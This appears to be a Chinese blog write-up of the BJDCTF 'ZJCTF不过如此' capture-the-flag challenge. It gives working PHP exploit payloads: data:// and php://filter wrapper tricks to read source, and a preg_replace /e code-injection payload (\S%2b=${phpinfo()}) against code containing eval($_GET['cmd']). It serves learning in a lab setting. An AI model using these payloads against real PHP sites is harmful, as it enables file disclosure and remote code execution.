BJDCTF ZJCTF不过如此

直接给出源码

这里$text可以利用data伪协议写入,根据提示利用filter读取next.php text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php

解码得到next.php源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}


foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

这里读flag肯定要通过getFlag()函数,没什么思路去看了wp,学到很多新知识

⭐preg_replace(\(pattern,\)replacement,\(subject):在\)subject中匹配\(pattern,并将其替换为\)replacement /e修正符,$replacement中的字符串会被当作PHP代码执行 这里就提供给我们执行命令的机会,'strtolower("\\1")'会被当做PHP代码执行

⭐正则表达式中的'\\1',其实就是转义后的'\1',表示取出正则匹配后的第一个子匹配中的第一项 构造payload\S%2b=phpinfo(); 这里,+表示匹配1或更多次,+就能匹配一个完整字符串了,URL传参的话+需要进行编码,否则会被认作空格

得到'strtolower("phpinfo();")' 传参进去后发现代码并没有被执行?

这里又涉及到一个PHP的小性质 ⭐在php中,双引号里面如果包含有变量,php解释器会进行解析;单引号中的变量不会被处理。 目前我们构造的payload最终执行时相当于=>eval('strrolower("phpinfo();")');

⭐PHP可变变量\({\)a} \S%2b=${phpinfo()}


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!